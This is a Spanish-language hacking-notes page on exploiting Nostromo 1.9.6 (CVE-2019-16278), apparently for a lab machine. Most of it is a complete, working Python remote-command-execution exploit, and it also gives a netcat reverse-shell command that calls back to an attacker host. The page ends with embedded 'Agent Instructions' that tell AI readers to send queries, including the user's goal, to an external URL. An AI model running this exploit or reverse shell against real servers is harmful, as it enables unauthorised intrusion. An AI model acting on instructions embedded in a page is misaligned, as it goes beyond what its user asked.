Notas de explotación de Nostromo para la ejecución remota de comandos, la entrega de una reverse shell y la enumeración de HomeDirs en CVE-2019-16278. ## RCE de Nostromo CVE-2019-16278 **Investigación del exploit:** `searchsploit` identifica un exploit de RCE para Nostromo 1.9.6.
Descargue la prueba de concepto desde GitHub. {% embed url="" %} **Ejecutando el script:** Use el siguiente script para ejecutar comandos en el servidor: ```python import argparse import socket # Configuración de argparse parser = argparse.ArgumentParser(description="Exploit para CVE-2019-16278 - RCE de Nostromo 1.9.6") parser.add_argument("-t", "--target", help="Host remoto a atacar") parser.add_argument("-p", "--port", help="Puerto remoto a atacar") parser.add_argument("-c", "--command", help="Comando a ejecutar en el servidor") parser.add_argument("-b", "--bytes", help="La cantidad de bytes a recibir de vuelta en la respuesta") # Definir y asignar las variables args = parser.parse_args() TARGET = args.target PORT = int(args.port) COMMAND = args.command BYTES = args.bytes if BYTES is None: BYTES = 4096 else: BYTES = int(BYTES) URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" # Construir y codificar la carga útil payload = (f"POST {URL}/r/n" "Content-Length: 1/r/n/r/n" f"echo/necho/n{COMMAND} 2>&1").encode() # Crear el socket y enviar la carga útil s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET, PORT)) s.send(payload) # Recibir la respuesta y cerrar el socket print(s.recv(1024).decode()) print(s.recv(BYTES).decode()) s.close() ``` ```bash python exploit.py -t 10.10.10.165 -p 80 -c whoami ```
**Obteniendo una reverse shell:** ```bash python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443' ``` ```bash sudo nc -nlvp 443 ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/cms/nostromo-cms-exploitation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
